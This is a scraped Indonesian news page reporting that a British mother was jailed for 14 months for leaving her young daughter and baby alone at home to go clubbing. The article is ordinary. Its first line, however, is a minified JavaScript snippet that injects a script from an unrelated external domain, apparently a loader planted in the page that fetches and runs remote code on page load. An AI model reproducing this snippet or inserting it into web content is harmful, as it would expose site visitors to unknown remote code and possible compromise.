(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

Tinggalkan Anak Kecil dan Bayi di Rumah Demi Dugem, Ibu Dibui 14 Bulan


KANALKALIMANTAN.COM, STAFFORDSHIRE – Seorang perempuan di Inggris dihukum 14 bulan penjara karena terbukti bersalah meninggalkan anak dan bayinya sendiri di rumah untuk pergi ke klub malam.

Menyadur News.com.au, Senin (24/8/2020), Laura Hopkins kedapatan sengaja meninggalkan anak-anaknya tanpa pengasuhan untuk berpesta di klub malam Pink, Staffordshire. Di rumah sendirian, sang bayi menangis hingga basah kuyup karena mengompol. Tak hanya itu, bayi dan anak perempuan ini ditinggalkan tanpa diberi penghangat ruangan.

Sang bayi dan anak perempuan kecil kemudian mendapatkan pertolongan setelah seorang tetangga yang curiga, nekat masuk ke rumah Hopkins karena terus mendengar suara tangisan anak Lantaran rumah dalam keadaan terkunci, si tetangga terpaksa memanjat dan masuk melalui jendela.

Dia menemukan si anak perempuan dalam keadaan menangis dan gemetar, serta sang bayi yang basah kuyup akibat air seni. Tetangga tersebut kemudian membawa dua anak malang ini ke rumahnya hingga Hopkin pulang pada 06.00 pagi.

Hopkins rupanya nekat bertandang ke klub meski dia tak berhasil menemukan pengasuh anak. Ibu ini kemudian diringkus pihak kepolisian atas tindakan abai terhadap dua orang anaknya yang masih dibawah 16 tahun.

Jaksa penuntut umum Caroline Harris mengatakan kondisi rumah Hopkins dingin sementara bayinya basah kuyup terkena air seni. “Anak (perempuan) itu berkata dia telah mencoba memberi makan bayi itu dan menuangkan susu langsung dari botol saat dia kesulitan untuk membuka tutup botol,” ujar Harris.

Kepada majelis hakim, perempuan ini kemudian mengaku bersalah atas dua pelanggaran perilaku kejam terhadap seseorang yang berusia di bawah 16 tahun. Ibu yang sebelumnya juga dihukum akibat kasus percobaan pembunuhan ini telah dijatuhi hukuman kurungan selama 14 bulan.(suara)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.